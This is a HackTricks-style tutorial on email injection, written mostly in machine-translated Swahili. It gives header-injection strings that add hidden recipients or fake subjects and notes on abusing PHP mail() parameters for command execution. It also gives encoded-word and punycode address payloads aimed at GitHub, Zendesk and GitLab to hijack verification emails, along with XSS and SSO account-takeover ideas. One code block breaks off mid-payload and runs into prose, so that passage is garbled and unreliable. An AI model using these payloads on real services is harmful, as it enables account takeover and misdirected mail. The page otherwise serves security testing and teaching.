# Email Injections
\ Tumia [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections) kujenga na **kuandaa kazi** kwa urahisi zinazotolewa na zana za jamii **za kisasa zaidi** duniani.\ Pata Ufikiaji Leo: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %} {% hint style="success" %} Jifunze na fanya mazoezi ya AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Jifunze na fanya mazoezi ya GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)! * **Jiunge na** πŸ’¬ [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
{% endhint %} ## Inject in sent e-mail ### Inject Cc and Bcc after sender argument ``` From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com ``` Ujumbe utatumwa kwa akaunti za mpokeaji na mpokeaji1. ### Ingiza hoja ``` From:sender@domain.com%0ATo:attacker@domain.com ``` Ujumbe utatumwa kwa mpokeaji wa asili na akaunti ya mshambuliaji. ### Ingiza hoja ya kichwa ``` From:sender@domain.com%0ASubject:This is%20Fake%20Subject ``` The fake subject will be added to the original subject and in some cases will replace it. It depends on the mail service behavior. ### Badilisha mwili wa ujumbe Inject a two-line feed, then write your message to change the body of the message. ``` From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message. ``` ### PHP mail() function exploitation ```bash # The function has the following definition: php --rf mail Function [ function mail ] { - Parameters [5] { Parameter #0 [ $to ] Parameter #1 [ $subject ] Parameter #2 [ $message ] Parameter #3 [ $additional_headers ] Parameter #4 [ $additional_parameters ] } } ``` #### Kigezo cha 5 ($additional\_parameters) Sehemu hii itategemea **jinsi ya kutumia kigezo hiki ikiwa mshambuliaji anakiendesha**. Kigezo hiki kitaongezwa kwenye mstari wa amri PHP itakayotumia kuita binary sendmail. Hata hivyo, kitaondolewa kwa kutumia kazi `escapeshellcmd($additional_parameters)`. Mshambuliaji anaweza **kuchanganya vigezo vya kutolewa kwa sendmail** katika kesi hii. #### Tofauti katika utekelezaji wa /usr/sbin/sendmail **sendmail** kiolesura kinatolewa na **programu ya MTA ya barua pepe** (Sendmail, Postfix, Exim n.k.) iliyosakinishwa kwenye mfumo. Ingawa **ufanyaji kazi wa msingi** (kama vile vigezo -t -i -f) unabaki **sawa** kwa sababu za ulinganifu, **kazi na vigezo vingine** vinatofautiana sana kulingana na MTA iliyosakinishwa. Hapa kuna mifano michache ya kurasa tofauti za mtu wa amri ya sendmail: * Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html * Postfix MTA: http://www.postfix.org/mailq.1.html * Exim MTA: https://linux.die.net/man/8/eximReferences Kulingana na **chanzo cha sendmail** binary, chaguzi tofauti zimegunduliwa kutumia vibaya na **kuvuja faili au hata kutekeleza amri zisizo za kawaida**. Angalia jinsi katika [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html) ## Changanya katika jina la barua pepe {% hint style="danger" %} Kumbuka kwamba ikiwa utaweza kuunda akaunti katika huduma yenye jina la kikoa kisicho na mpangilio (kama Github, Gitlab, CloudFlare Zero trust...) na kuithibitisha kwa kupokea barua pepe ya uthibitisho kwenye anwani yako ya barua, huenda ukawa na uwezo wa kufikia maeneo nyeti ya kampuni ya mwathirika {% endhint %} ### Sehemu zilizopuuziliwa mbali za barua pepe Alama: **+, -** na **{}** katika matukio nadra zinaweza kutumika kwa kuweka alama na kupuuziliwa mbali na seva nyingi za barua pepe * Mfano: john.doe+intigriti@example.com β†’ john.doe@example.com **Maoni kati ya mabano ()** mwanzoni au mwishoni pia yatapuuziliwa mbali * Mfano: john.doe(intigriti)@example.com β†’ john.doe@example.com ### Kupita kwenye orodha ya ruhusa
https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0
### Nukuu
https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0
### IPs Unaweza pia kutumia IP kama jina la kikoa kati ya mabano ya mraba: * john.doe@\[127.0.0.1] * john.doe@\[IPv6:2001:db8::1] ### Uandishi wa Barua Pepe Kama ilivyoelezwa katika [**tafiti hii**](https://portswigger.net/research/splitting-the-email-atom), majina ya barua pepe yanaweza pia kuwa na wahusika walioandikwa: * **PHP 256 overflow**: Kazi ya PHP `chr` itaendelea kuongeza 256 kwa wahusika hadi iwe chanya na kisha ifanye operesheni `%256`. * `String.fromCodePoint(0x10000 + 0x40) // 𐁀 β†’ @` {% hint style="success" %} Lengo la hila hii ni kumaliza na kuchanganya kama `RCPT TO:<"collab@psres.net>collab"@example.com>`\ ambayo itatuma barua pepe ya uthibitisho kwa anwani tofauti ya barua pepe kutoka ile inayotarajiwa (hivyo kuingiza anwani nyingine ya barua pepe ndani ya jina la barua pepe na kuvunja sintaksia wakati wa kutuma barua pepe) {% endhint %} Mifumo tofauti ya uandishi: ```bash # Format =? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com # =? -> Start of encode # utf-8 -> encoding used # ? -> separator # q -> type of encoding # ? -> separator # =41=42=43 -> Hex encoded data # ?= end of encoding # Other encodings, same example: #Β iso-8859-1 =?iso-8859-1?q?=61=62=63?=hi@example.com # utf-8 =?utf-8?q?=61=62=63?=hi@example.com # utf-7 =?utf-7?q??=hi@example.com # q encoding + utf-7 =?utf-7?q?&=41?=hi@example.com # base64 =?utf-8?b?QUJD?=hi@example.com # bas64 + utf-7 =?utf-7?q??=hi@example.com #punycode x@xn--svg/-9x6 β†’ x@` iliyokodishwa kama `=3e` na `null` kama `=00` * Itatuma barua ya uthibitisho kwa `collab@psres.net` * Zendesk: `"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com` * Hila sawa na ile ya awali lakini ikiongeza nukuu za kawaida mwanzoni na nukuu iliyokodishwa `=22` kabla ya `@` iliyokodishwa na kisha kuanza na kufunga nukuu kabla ya barua nyingine ili kurekebisha sintaksia inayotumiwa ndani na Zendesk * Itatuma barua ya uthibitisho kwa `collab@psres.net` * Gitlab: `=?x?q?collab=40psres.net_?=foo@example.com` * Kumbuka matumizi ya alama ya chini kama nafasi ya kutenganisha anwani * Itatuma barua ya uthibitisho kwa `collab@psres.net` * Punycode: Kwa kutumia Punycode ilikuwa inawezekana kuingiza lebo `) ## Third party SSO ### XSS Huduma zingine kama **github** au **salesforce** zinakuruhusu kuunda **anwani ya barua pepe yenye payloads za XSS**. Ikiwa unaweza **kutumia watoa huduma hawa kuingia kwenye huduma nyingine** na huduma hizi **hazifanyi usafi** ipasavyo barua pepe, unaweza kusababisha **XSS**. ### Account-Takeover Ikiwa **huduma ya SSO** inakuruhusu **kuunda akaunti bila kuthibitisha anwani ya barua pepe iliyotolewa** (kama **salesforce**) na kisha unaweza kutumia akaunti hiyo ku **ingia kwenye huduma tofauti** ambayo **inaamini** salesforce, unaweza kufikia akaunti yoyote.\ _Kumbuka kwamba salesforce inaonyesha ikiwa barua pepe iliyotolewa ilikuwa au haikuwa imehakikishwa lakini hivyo programu inapaswa kuzingatia habari hii._ ## Reply-To Unaweza kutuma barua pepe ukitumia _**From: company.com**_ na _**Replay-To: attacker.com**_ na ikiwa kuna **jibu la kiotomatiki** lililotumwa kwa sababu barua pepe ilitumwa **kutoka** anwani ya **ndani** mhalifu anaweza kuwa na uwezo wa **kupokea** hiyo **jibu**. ## Hard Bounce Rate Huduma fulani, kama AWS, zinaanzisha kigezo kinachojulikana kama **Hard Bounce Rate**, ambacho kawaida huwekwa kwa 10%. Hii ni kipimo muhimu, hasa kwa huduma za usambazaji wa barua pepe. Wakati kiwango hiki kinapozidiwa, huduma, kama vile huduma ya barua pepe ya AWS, inaweza kusimamishwa au kuzuiwa. **Hard bounce** inahusisha **barua pepe** ambayo imerejeshwa kwa mtumaji kwa sababu anwani ya mpokeaji si halali au haipo. Hii inaweza kutokea kwa sababu mbalimbali, kama vile **barua pepe** kutumwa kwa anwani isiyokuwepo, kikoa ambacho si halisi, au kukataa kwa seva ya mpokeaji kupokea **barua pepe**. Katika muktadha wa AWS, ikiwa unatumia barua pepe 1000 na 100 kati yao zinarejea kama hard bounces (kwa sababu kama anwani zisizohalali au viwango), hii itamaanisha kiwango cha 10% cha hard bounce. Kufikia au kuzidi kiwango hiki kunaweza kusababisha AWS SES (Huduma ya Barua Pepe Rahisi) kuzuiwa au kusimamishwa uwezo wako wa kutuma barua pepe. Ni muhimu kudumisha kiwango cha chini cha hard bounce ili kuhakikisha huduma ya barua pepe isiyokatizwa na kudumisha sifa ya mtumaji. Kufuata na kusimamia ubora wa anwani za barua pepe katika orodha zako za barua inaweza kusaidia sana katika kufikia hili. Kwa maelezo zaidi, hati rasmi ya AWS kuhusu kushughulikia bounces na malalamiko inaweza kutazamwa [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types). ## References * [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/) * [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html) * [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view) * [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** πŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
\ Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Get Access Today: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}